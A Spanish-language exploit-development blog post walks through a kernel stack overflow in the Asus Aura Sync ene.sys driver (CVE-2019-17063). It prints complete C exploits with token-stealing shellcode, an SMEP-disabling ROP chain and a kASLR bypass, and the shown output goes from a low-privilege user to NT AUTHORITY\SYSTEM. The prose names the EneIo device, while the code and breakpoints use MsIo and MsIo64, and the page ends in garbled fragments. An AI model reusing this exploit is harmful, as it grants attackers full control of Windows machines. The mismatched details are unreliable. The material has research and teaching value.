xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

Stack Overflow


En este post se llevará a cabo la explotación de una de las vulnerabilidades más conocidas: un típico Stack Overflow pero esta vez en modo kernel, para ello usaremos usando el programa Asus Aura Sync, una aplicación cuyo proposito es sincronizar los productos de Asus para controlar la iluminación RGB, de acuerdo con el CVE-2019-17063 esta aplicación en versiones iguales o inferiores a la 1.07.71 tiene una vulnerabilidad en el driver ene.sys que se instala a la par del programa que contiene un manejo de datos incorrecto permitiendo escalar privilegios de forma local.


Reversing


Ahora deberiamos ser capaces de ver el modulo ene desde la máquina debugger

0: kd> lm m ene
Browse full module list
start             end                 module name
fffff803`5c7f0000 fffff803`5c7f7000   ene        (no symbols)  

0: kd> !drvobj \driver\ene 2
Driver object (ffffdf0bc5cde310) is for:
 \Driver\Ene

DriverEntry:   fffff8035c7f6064	ene
DriverStartIo: 00000000	
DriverUnload:  fffff8035c7f14c0	ene
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      fffff8035c7f1100	ene+0x1100
[01] IRP_MJ_CREATE_NAMED_PIPE           fffff803401645d0	nt!IopInvalidDeviceRequest  
[02] IRP_MJ_CLOSE                       fffff8035c7f1100	ene+0x1100
[03] IRP_MJ_READ                        fffff803401645d0	nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       fffff803401645d0	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           fffff803401645d0	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             fffff803401645d0	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    fffff803401645d0	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      fffff803401645d0	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               fffff803401645d0	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fffff803401645d0	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fffff803401645d0	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           fffff803401645d0	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fffff803401645d0	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              fffff8035c7f1100	ene+0x1100

Lo primero es entender como podemos comunicarnos con el driver, hay que entender que no podemos acceder a la memoria del espacio kernel sin embargo existe una interfaz del sistema operativo que permite esta comunicación, estas son las llamadas ioctl, cuando se instala un driver establece un nombre de dispositivo llamando a la función IoCreateDevice, utilizando IDA podemos desensamblar el driver y ver esta llamada en el bloque DriverEntry, el nombre asignado al driver es \\.\EneIo

Cada función se identifica con un código ioctl, el driver acepta este tipo de llamadas usando estructuras de tipo IRP o I/O Request Packets, en este bloque podemos ver que la función establecida para encargarse de esta tarea es sub_13f0

La función sub_13f0 es encargada de ejecutar ciertas instrucciones dependiendo de su código ioctl, inicia accediendo a los miembros de la estructura IRP y realiza un par de comparaciones, compara el registro al con 0xe que fue el offset con el que se establecio la función en el bloque pasado, si el resultado no es 0 salta al ret final

Si la comparación resulta en 0 inicia una estructura de tipo switch para buscar la comparación con el código ioctl correspondiente, en este caso nos quedaremos con el primer código que es 0x80102040 y analizaremos lo que ejecuta al llamarlo

El siguiente bloque nuevamente muestra un mensaje, y hace un salto condicional, si ebx es igual a 0 salta a loc_1494 de lo contrario sigue la siguiente instrucción

Siguiendo la linea roja vemos que se utiliza la función memmove sin sanitización aparente, esto parece interesante ya que controlamos los datos y si escribimos mas de lo que soporta el buffer podriamos desbordarlo y sobrescribir otros datos

Después de copiar los datos vuelve al final de la función concluyendo en la instrucción ret del offset 0x16b9, si sobrepasamos el buffer y sobrescribimos la dirección de retorno en este ultimo ret deberiamos tomar el control del flujo del programa


Crashing


Utilizando DeviceIoControl podemos comunicarnos pasandole el handle y el código ioctl perteneciente a la función, además de ello el buffer que le pasaremos y su tamaño, el resto de parámetros los dejaremos como NULL ya que no nos interesan

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

En un proyecto de Visual Studio definimos el siguiente código, iniciamos definiendo un buffer llamado payload con un tamaño de 100 bytes, (un poco más del buffer definido) el cual rellenaremos con A's, luego de eso lo enviamos al controlador

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlFillMemory(payload, 100, 'A');

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 100, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    return 0;
}

Para ver lo que está haciendo el ultimo bloque reverseado estableceremos un breakpoint en la llamada a memmove y continuaremos la ejecución normal

0: kd> bp MsIo64 + 0x1623  

0: kd> g

Luego de compilar el proyecto nuestro exploit nos queda en un .exe que ejecutamos

C:\Users\user\Desktop> exploit.exe  

Volviendo al debugger podemos ver que en el kernel hemos alcanzado el breakpoint a la llamada, analizaremos el comportamiento de esta llamada a memmove

0: kd> g
Breakpoint 0 hit
MsIo64+0x1623:
fffff800`22351623 e8b8010000      call    MsIo64+0x17e0 (fffff800`223517e0)  

Según la documentación oficial de Microsoft, la función memmove recibe 3 argumentos, un puntero al buffer de destino, un puntero al source y un contador

void *memmove(
    void *dest,
    const void *src,  
    size_t count
);

Las convenciones de llamada en x64 nos dicen que los primeros 3 argumentos deberian estar en los registros rcx, rdx y r8, en rcx podemos ver el destino, en rdx el source o lo que se va a copiar y en r8 el contador que son 100 bytes

0: kd> db rcx L40
ffffad00`2631f160  c8 00 00 00 00 00 00 00-f1 cd 41 1c 00 f8 ff ff  ..........A.....  
ffffad00`2631f170  01 00 00 00 00 00 00 00-49 6f 20 20 00 00 00 00  ........Io  ....  
ffffad00`2631f180  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................  
ffffad00`2631f190  0c 02 00 00 00 00 00 00-10 be 5b 35 09 da ff ff  ..........[5....  

0: kd> db rdx L40
ffffda09`37c49f00  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffffda09`37c49f10  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffffda09`37c49f20  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffffda09`37c49f30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

0: kd> ? r8
Evaluate expression: 100 = 00000000`00000064

Luego de ejecutar la llamada podemos ver que el contenido del buffer se ha copiado al destino, sin embargo hay que pensar que posiblemente el buffer definido sea mas pequeño que nuestro buffer, nosotros hemos escrito un total de 100 bytes

0: kd> p
MsIo64+0x1628:
fffff807`24da1628 488b542430      mov     rdx,qword ptr [rsp+30h]

0: kd> db rcx L40
ffff8884`4013f160  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffff8884`4013f170  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffff8884`4013f180  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffff8884`4013f190  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

Avanzamos hazta el siguiente ret donde podemos ver que hemos sobrescrito la dirección de retorno con 0x4141414141414141 que es igual a las A's en hexadecimal, si intentamos continuar provocará un error ya que esa dirección no existe, de esta forma controlamos la dirección donde apuntará mediante un Stack Buffer Overflow

0: kd> pt
MsIo64+0x16b9:
fffff807`24da16b9 c3              ret

0: kd> dqs rsp L1
ffff8884`4013f1a8  41414141`41414141

0: kd> p
Access violation - code c0000005 (!!! second chance !!!)  
MsIo64+0x16b9:
fffff807`24da16b9 c3              ret


Offset


Para encontrar la cantidad de bytes necesarios antes de sobrescribir la dirección de retorno crearemos un patrón de caractéres utilizando cyclic de pwntools

❯ cyclic -n 8 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa  

Ahora en lugar de rellenar el buffer payload con A's copiaremos los 100 bytes creados con cyclic al buffer, después de ello compilamos el exploit

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    CONST CHAR *cyclic = "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa";  

    LPVOID payload = VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(payload, cyclic, 100);

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 100, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    return 0;
}

El breakpoint ahora será directamente en el ret donde se produce la vulnerabilidad

0: kd> bp MsIo64 + 0x16b9  

0: kd> g

Luego de ejecutar el exploit podemos ver que la dirección de retorno ahora tiene como valor algunos de los bytes que contenia la cadena creada con cyclic

C:\Users\user\Desktop> exploit.exe  

0: kd> g
Breakpoint 0 hit
MsIo64+0x16b9:
fffff802`3e9f16b9 c3              ret  

0: kd> dqs rsp L1
ffff9582`3bd0f1a8  61616161`6161616a

Ya con la dirección podemos calcular el offset nuevamente utilizando cyclic

❯ cyclic -n 8 -l 0x616161616161616a  
72

Sabemos que después de rellenar 72 bytes tenemos la dirección de retorno, entonces reservaremos un nuevo espacio llamado shellcode donde copiaremos un total de 64 C's, luego el puntero a shellcode lo copiaremos a payload después de 72 A's por lo que el controlador deberia intentar ejecutar las C's en el ret

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 80, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 72, 'A');
    RtlFillMemory(shellcode, 64, 'C');

    *((QWORD *) ((BYTE *) payload + 72)) = (QWORD) shellcode;

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 80, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    return 0;
}

Ejecutamos el exploit y ahora la dirección de retorno apunta a 0x1ba7a380000 y esta dirección de memoria contiene las C's por lo que ya podemos ejecutar instrucciones

0: kd> g
Breakpoint 0 hit
MsIo64+0x16b9:
fffff806`559116b9 c3              ret
  
0: kd> db poi(rsp) L40
000001ba`7a380000  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
000001ba`7a380010  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
000001ba`7a380020  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
000001ba`7a380030  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  


Exploit


Finalmente solo nos queda modificar el shellcode, para ello utilizaremos un token stealing, este shellcode esta diseñado para tomar el token del proceso SYSTEM y copiarlo a nuestro proceso actual por lo que deberiamos obtener sus privilegios, luego de ejecutarlo simplemente ejecutaremos una cmd.exe para obtener una shell

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG

BYTE tokenStealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00,             // mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    0x48, 0x89, 0xc3,                                     // mov rbx, rax                     ; $rbx = _EPROCESS
                                                          // .loop:
    0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00,             //     mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
    0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00,             //     sub rbx, 0x448               ; $rbx = _EPROCESS
    0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04,       //     cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
    0x75, 0xe8,                                           //     jnz .loop                    ; if zf == 0 -> loop
    0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00,             // mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    0x80, 0xe1, 0xf0,                                     // and cl, 0xf0                     ; clear _EX_FAST_REF struct
    0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,             // mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00,             // mov cx, [rdx + 0x1e4]            ; $cx = KernelApcDisable
    0x66, 0xff, 0xc1,                                     // inc cx                           ; fix value
    0x66, 0x89, 0x8a, 0xe4, 0x01, 0x00, 0x00,             // mov [rdx + 0x1e4], cx            ; restore value
    0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,             // mov rdx, [rdx + 0x90]            ; $rdx = ETHREAD.TrapFrame
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00,             // mov rbp, [rdx + 0x158]           ; $rbp = ETHREAD.TrapFrame.Rbp
    0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00,             // mov rcx, [rdx + 0x168]           ; $rcx = ETHREAD.TrapFrame.Rip
    0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,             // mov r11, [rdx + 0x178]           ; $r11 = ETHREAD.TrapFrame.EFlags  
    0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,             // mov rsp, [rdx + 0x180]           ; $rsp = ETHREAD.TrapFrame.Rsp
    0x31, 0xc0,                                           // xor eax, eax                     ; $eax = STATUS SUCCESS
    0x0f, 0x01, 0xf8,                                     // swapgs                           ; swap gs segment
    0x48, 0x0f, 0x07                                      // o64 sysret                       ; return to usermode
};

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 80, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 72, 'A');
    RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));

    *((QWORD *) ((BYTE *) payload + 72)) = (QWORD) shellcode;

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 80, NULL, 0, NULL, NULL);
    system("cmd.exe");

    CloseHandle(hDevice);
    return 0;
}

Al ejecutar el exploit deberiamos pasar del usuario llamado user con bajos privilegios a nt authority\system que es el usuario con máximos privilegios sobre el equipo

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.20348.1006]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


SMEP


El exploit anterior funciona bien sin embargo aún hay algo a tener en cuenta, este corria con la protección SMEP deshabilitada temporalmente sin embargo a partir de Windows 8 todos los windows actuales lo tienen activado por defecto, entonces veamos que pasa ahora si ejecutamos el exploit, al ejecutar el ret e intentar interpretar la primera instrucción del shellcode nos lanza un BSOD y este muestra el error ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY y no podemos ejecutarlo

0: kd> g
Breakpoint 0 hit
MsIo64+0x16b9:
fffff806`559116b9 c3              ret

0: kd> p
00000250`51190000 65488b142588010000 mov   rdx,qword ptr gs:[188h]  

0: kd> p
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc (0x0000025051190000,0x000000009BE6A867,0xFFFFEA8F0A7CF020,0x0000000080000005)  

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`7e0077a0 cc              int     3

0: kd> !analyze -v 
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory.  The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 0000025051190000, Virtual address for the attempted execute.
Arg2: 000000009be6a867, PTE contents.
Arg3: ffffea8f0a7cf020, (reserved)
Arg4: 0000000080000005, (reserved)

El SMEP impide que se pueda ejecutar la memoria de modo usuario desde modo kernel, sin embargo esta protección es controlada por el bit 20 del registro cr4 por lo que si cambiamos su valor a 0 podriamos deshabilitarlo y ejecutar el shellcode

Entonces lo unico que necesitamos es tomar el valor en binario del registro cr4 cambiando el bit 20 por 0 y obtenemos su valor equivalente en hex a 0x250ef8

0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`00350ef8
  Decimal: 3477240
  Decimal (unsigned) : 3477240
  Octal:   0000000000000015207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00110101 00001110 11111000
  Chars:   .....5..
  Time:    Mon Feb  9 23:54:00 1970
  Float:   low 4.87265e-039 high 0
  Double:  1.71798e-317
  
0: kd> .formats 0y1001010000111011111000
Evaluate expression:
  Hex:     00000000`00250ef8
  Decimal: 2428664
  Decimal (unsigned) : 2428664
  Octal:   0000000000000011207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00100101 00001110 11111000
  Chars:   .....%..
  Time:    Wed Jan 28 20:37:44 1970
  Float:   low 3.40328e-039 high 0
  Double:  1.19992e-317

Como no podemos ejecutar shellcode haremos ROP para cambiar el bit, para hacerlo podemos buscar gadgets dentro del controlador o el kernel, sin embargo los gadgets del propio driver son bastante limitados por lo que usaremos ntoskrnl.exe, el primer gadget guarda un qword en rcx y el segundo mueve el valor de rcx al registro cr4, sin embargo aun tenemos un problema bastante importante, la protección kASLR

❯ ropper --file ntoskrnl.exe -I 0x0 --console  
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ntoskrnl.exe/PE/x86_64)> search pop rcx; ret;
[INFO] Searching for gadgets: pop rcx; ret;

[INFO] File: ntoskrnl.exe
0x000000000023a028: pop rcx; ret;

(ntoskrnl.exe/PE/x86_64)> search mov cr4, rcx; ret;
[INFO] Searching for gadgets: mov cr4, rcx; ret;

[INFO] File: ntoskrnl.exe
0x000000000039f027: mov cr4, rcx; ret;

(ntoskrnl.exe/PE/x86_64)>

Necesitamos la dirección base del kernel sin embargo esta es bastante facil de obtener con el primer valor del array al utilizar la función EnumDeviceDrivers

QWORD GetKernelBase() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (QWORD) drivers[0];  
}

Después de escribir los 72 bytes escribiremos 4 qwords, los primeros 2 guardan el nuevo valor de cr4 en rcx, el tercero mueve a cr4 el valor en rcx deshabilitando asi el SMEP y el ultimo salta al shellcode a ejecutar en el modo usuario

QWORD *rop = (QWORD *) ((QWORD) payload + 72);

*rop++ = (QWORD) kernelBase + 0x23a028; // pop rcx; ret;
*rop++ = (QWORD) 0x350ef8 ^ 1UL << 20;  // cr4 value
*rop++ = (QWORD) kernelBase + 0x39f027; // mov cr4, rcx; ret;  
*rop++ = (QWORD) shellcode;             // token stealing

El exploit final deberia bypassear la protección de SMEP y kASLR y funcionar en un windows 10 completamente actualizado sin ninguna modificación necesaria

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG

BYTE tokenStealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00,             // mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    0x48, 0x89, 0xc3,                                     // mov rbx, rax                     ; $rbx = _EPROCESS
                                                          // .loop:
    0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00,             //     mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
    0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00,             //     sub rbx, 0x448               ; $rbx = _EPROCESS
    0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04,       //     cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
    0x75, 0xe8,                                           //     jnz .loop                    ; if zf == 0 -> loop
    0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00,             // mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    0x80, 0xe1, 0xf0,                                     // and cl, 0xf0                     ; clear _EX_FAST_REF struct
    0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,             // mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00,             // mov cx, [rdx + 0x1e4]            ; $cx = KernelApcDisable
    0x66, 0xff, 0xc1,                                     // inc cx                           ; fix value
    0x66, 0x89, 0x8a, 0xe4, 0x01, 0x00, 0x00,             // mov [rdx + 0x1e4], cx            ; restore value
    0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,             // mov rdx, [rdx + 0x90]            ; $rdx = ETHREAD.TrapFrame
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00,             // mov rbp, [rdx + 0x158]           ; $rbp = ETHREAD.TrapFrame.Rbp
    0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00,             // mov rcx, [rdx + 0x168]           ; $rcx = ETHREAD.TrapFrame.Rip
    0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,             // mov r11, [rdx + 0x178]           ; $r11 = ETHREAD.TrapFrame.EFlags  
    0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,             // mov rsp, [rdx + 0x180]           ; $rsp = ETHREAD.TrapFrame.Rsp
    0x31, 0xc0,                                           // xor eax, eax                     ; $eax = STATUS SUCCESS
    0x0f, 0x01, 0xf8,                                     // swapgs                           ; swap gs segment
    0x48, 0x0f, 0x07                                      // o64 sysret                       ; return to usermode
};

QWORD GetKernelBase() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (QWORD) drivers[0];
}

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 104, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 72, 'A');
    RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));

    QWORD kernelBase = GetKernelBase();
    QWORD *rop = (QWORD *) ((QWORD) payload + 72);

    *rop++ = (QWORD) kernelBase + 0x23a028; // pop rcx; ret;
    *rop++ = (QWORD) 0x350ef8 ^ 1UL << 20;  // cr4 value
    *rop++ = (QWORD) kernelBase + 0x39f027; // mov cr4, rcx; ret;
    *rop++ = (QWORD) shellcode;             // token stealing

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 104, NULL, 0, NULL, NULL);
    system("cmd.exe");

    CloseHandle(hDevice);
    return 0;
}

Para comprobarlo volvemos a establecer un breakpoint en el ret y avanzamos hasta justo antes de mover el nuevo valor al registro cr4 para verificar que funcione

0: kd> g
Breakpoint 0 hit
MsIo64+0x16b9:
fffff806`559116b9 c3              ret

0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff806`5ec163ec 59              pop     rcx

0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff806`5ec163ed c3              ret

0: kd> p
nt!KeFlushCurrentTbImmediately+0x17:
fffff806`5eda06a7 0f22e1          mov     cr4,rcx  

Al ejecutar mov modifica el valor de cr4 cambiando el bit 20 a 0 y deshabilitando la protección SMEP asi pudiendo ejecutar asi el shellcode en el modo de usuario

0: kd> r cr4
cr4=0000000000350ef8

0: kd> p
00000214`36ea0000 65488b142588010000 mov   rdx,qword ptr gs:[188h]  

0: kd> r cr4
cr4=0000000000250ef8

0: kd> g

Si simplemente continuamos la ejecución podemos ver que el exploit funciona

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.20348.1006]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>



78894953382991917"> ml> ktop>